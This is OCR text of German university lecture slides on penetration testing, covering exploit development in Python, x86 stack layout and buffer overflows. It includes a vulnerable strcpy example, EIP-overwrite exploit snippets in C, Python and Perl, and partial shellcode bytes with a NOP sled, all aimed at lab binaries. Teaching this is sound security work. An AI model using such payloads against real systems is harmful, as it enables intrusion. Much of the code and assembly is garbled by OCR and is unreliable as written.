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Grundlagen: Sicherheitslicken -1-

* Fehlerhafte Implementierung
 Methoden zum Auffinden
» Fuzzing:
» Zuféllige Daten
» Eingabeschnittstelle
» Static Analyis
» Statisches Testverfahren
» Formale Prifungen
» Codingstandards, Speicherlecks, Funktionen etc.
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Grundlagen: Sicherheitslicken -2-

» Codereviews
» Wahrend der Entwicklung
» Prifung von Gutachtern
» Verbesserungen
» Debugging
» Wahrend des Ausflihrens
» Haltepunkte
» Speicher bzw. Register modifizieren
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Grundlagen: Prozess- und Speicherorganisation -1-

-- %ebp

. OxFFFF Stack
« X86/1386 main() l
 Text Segment: Kompilierter Code < %ebp
« Data Segment: Satmon
~ -- Yoes
» Statische und globale Daten Frei ’
» Non Zero t
Heap
> Initialisierte Daten
 BSS (Block Startet by Symbol) Segment: bss Segment
» Uninitialisierte Daten Data Segment
» Per Default mit Null initialisiert
_— Text Segment
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Grundlagen: Prozess- und Speicherorganisation -3-

-- %ebp

OxFFFF Stack
e Heap: main() l
» Beliebige Reihenfolge <~ %ebp
» WAachst nach oben Sulbunietion]
-- %es
> Dynamische Daten Frei g
» Malloc(), Realloc() etc. He!q:)
» Globale und statische Variablen
e Stack bss Segment
» Oberes Speicherende (x86) Data Segment
» Wachst nach unten
» Push, pop und top (%esp) oxoooo| __TEXt Segment

» Statische Variablen, Prozessregister
» Arrays in C/C++ wachsen nach oben

_IHiN
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Grundlagen: Prozess- und Speicherorganisation -4-

« Stack Pointer (%esp):
» Top of the Stack:

OxFFFF

» Funktionseintritt: %esp verkleinern
» Funktionsaustritt: %esp vergroflern

» Ungeeigneter Bezugspunkt
« Base Pointer (%ebp)
» Bezugspunkt
» Funktionseintritt: %esp = %ebp
» Rekursion beliebige Tiefen

0x0000

Stack

main() l

-- %ebp

Subfunktion()

<-- %ebp

Frei

-- Y%esp

1

Heap

bss Segment

Data Segment

Text Segment
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Grundlagen: Prozess- und Speicherorganisation -5-

FB Informatik, SS 2010

_ . - OxFFFF Staoi - %ebp

» Instruction Pointer(%eip): maing |
» Adresse der nachsten Instruktion - %ebp

> COdeZWGIg Subfunktion|)

- -- %es
> Riicksprung durch Speichern Frei 0

auf Stack (call Unterfunktion) H 1

eap

» Ret - Rlcksprung in Register laden
bss Segment

Data Segment

Text Segment

0x0000
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Grundlagen: Funktionsaufruf

eBO48460 <funcs:

OeBO4BLEL <func+l>:
BBl <func+3»:
eBl48466 <func+E>:

* %ebp in Stack speichern 08048864 <func+135:

bcB0484T0 <func+16>:

e Wert ,5%in Bereich + %eax schreiben [reses s
eBlabedl <mein+3s:

o <func +32>: %ebp - %esp (c8048498 <main->:

o <func +35>: %eip &ndern und

- - eB04BLTE <func+1B>:
* %esp in %ebp speichern 804879 <funce25>:
QcB0aB2B0 <func+32>:
JcBO4BLB2 <func+34>:

« 4 Byte auf Stack reservieren 8045183 <func+35>-:

JcBl4Bs8e <mein+10>:
. JcBl4Bs8e <mein+13>:
o <func +34>: %ebp wiederherstellen 2048in) comineiE>:

0 52 <mein+iB»:
JcBl4BLal <mein+18>:

puehl
movwl
subl
movwl
movwl
=
leml
lezl
movl
popl
ret

puehl
mowl
call
xorl
jop
leml
movwl
popl
Tet

sebp
LeEp, kebp
B0xt, Yeep

805, xf fEffffe (Yabp)
Jefffffffe (tebp) tenx
OxB048480 <func+32>

Ox0(%esl 1), kel
Ox0(%edl 1), %adl
Lebp,lesp

Kebp

Kebp

LeEp,tebp
JzB048460 <funcs
LEEE, LERE

JxB04Bael <mmin+lg>

Jxd¥esi 1), Yeel
Lebp,kesp
Kebp

Unterfunktion verlassen
* Opeax: Ruckgabewert der Unterfunktion

int fune(woid)

int &;
= 5;
return

int mein(void)

TETUrn

funal ) ;

o]
-
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Schwachstelle identifizieren: Buffer Overflow

i %eb
0 OxFFFF P
1 Stack

Riicksprungaddresse ma_u’l(] l
EBP

Bufferl: Zeichen 8
Bufferl: Zeichen 7

<-- %ebp

Subfunktion()

Bufferl: Zeichen 2
0
Bufferl: Zeichen 1 - /OE‘.Sp

Bulfer2: Zeichen 16 Frel

Bufferl: Zeichen 1 '

Heap

int TestFunktion(int a, int b)

char Buffer1[8];
char Buffer2[16]; bss Segment

return;

&
|

Data Segment

int main()

TestFunktion(0, 1); Text Segment

1
S

0x0000
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Schwachstelle identifizieren: Disassemblieren -1-

e Gnu Debugger (GDB): gdb pw

(gdb) disas main

Dump of assembler code for function main:

Ox0804853f <main+0=: L=a Ox4d(%E=sp) , Fecx

1045 main+4s: ancl S0z ®Bes5p

main+t /= pushl
main+10=: push
main+lls: Mo
main+13x: Fush
main+14:=: sub
main+l =: moi |
main+24:: call 538 <putsAplt
main+29:>: call xB048 pw
main+34=: Mo Teax x8(%2ebp)
main+t 3 = cmp 1 S0x xB i &Eebp)
main+4ls: jne x804857F <main+ed

Ox080485¢ main+43>:  movl S0x8048690, (Zesp)

e Alternativ: objdump —d — .text pw
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Schwachstelle identifizieren: Disassemblieren -2-

code for function pw:

push Eebp

m o :

sulb

mos ]

call

e

mowr

==

call

cmp
jne
m o]
jmp
moi
T

leave

aszembl=er dump.
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Entwicklung: Auswahl der Umgebung

° EC“pse Pydey - Exploit’src/exploit vuln.py - Eclipse SDK

. . Bun Window Help
» Kommandosubstitution

» Einfach zu installieren
» Plattformunabhangig
» Industrie-Standard
« PyDev
> Eclipse Plugin
» Einfach zu installieren U L
» Grolle Community
» Gute Dokumentation

=1

[ asd [ exploit_ vuln &3 ] exploit_pw
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Entwicklung: Beispiel -1-

Exploit in C:
fincluda <stdio.h>

int Main(yeid)
I
unsigned E1p =
int 17
axrll = pi 1
putchar {

fwrite(&=ip, 1, 4. stdout):
raturn 0+

~/stacksmashing S
lch zu erkennen
Der PIN fuer das Eonto Moshkau lautet: 2141592654

HENE] Penetration Testing Il : Exploit-Entwicklung mit Python 14 /20



O ‘ Hochschule Bonn-Rhein-Sieg

Entwicklung: Beispiel -2-

FB Informatik, SS 2010

Exploit in Python:

J| Test.java [F] Hallo [F] asd [F] exploit vuln | [F} exploit_pw &3

7 - + - A 1
Creared on 30.0a0.2010

import =sys=

g2ip = O0x08048564;

sys.stdout . .write (chr {'2")Y18)
P sys.stdout.fwrite(eip,1,4)

dudditsf@rss ~/stacksmashing § Python sxploit pw
Gebhen Sie =sich zu erkennen

‘lazswort: Der PIN fuer da=s Eonto Moskau lantet: 2141592654
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Entwicklung: Python vs. Other -1-

e Perl:
> Beliebt fir Kommandozeile:

Jvuln “perl —e ‘print “\x90*x202;" "cat shellcode perl —e ‘print
“\X78\xfO\xff\xbf*x88;"

» Kryptische Programmierung

» Wenige Exploiting-Frameworks nutzen Perl
e C:

» Aufwandige Programmierung

» Fehleranfallig
* Python:

» Einfach zu Lernen und intuitiv

» Unterstutzung von Exploiting-Frameworks (u.a. Metasploit
und Core Impact)
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Entwicklung: Python vs. Other -2-

Code Beispiel:
(1) #include <stdio.h>
(2) #include <string.h>
(3) Iint main (int argc, char *argv[]){
(4) char buffer[500];,
(5) strcpy(buffer, argv[l]);
(6) return O;}

Python-Exploit:
(1) shellcode = "\x31\xcO0\xb0\x46\x31\xdb\x31\xc9\xcd\..*
(2) print "\x90"*202 + shellcode + "\x84\x0c\x88\xbf"*88
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Entwicklung: Python vs. Other -3-

C-Exploit:
(1) #include <stdio.h>
(2) #include <string.h>
(3) #include <unistd.h>
(4) #include <stdlib.nh>

(5) char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb";

(6) unsigned long sp(void) { __asm__ ("movl
%esp,%eax");}

(7) int main(int argc, char *argv[]X{
8) ....

(52)free(buffer);

(53)Return 0O; }
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Fazit

* Immer noch viele Vulnerabilities!
» Ausnutzen durch Exploits
» Gefahr fur Anwender
o Exploit-Entwicklung in vielen Sprachen, aber
» Python hat sich durch gesetzt!
> Intuitiv
» Grolse Community
> ...
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Haben Sie noch Fragen?

Vielen Dank fur lhre Aufmerksamkeit!
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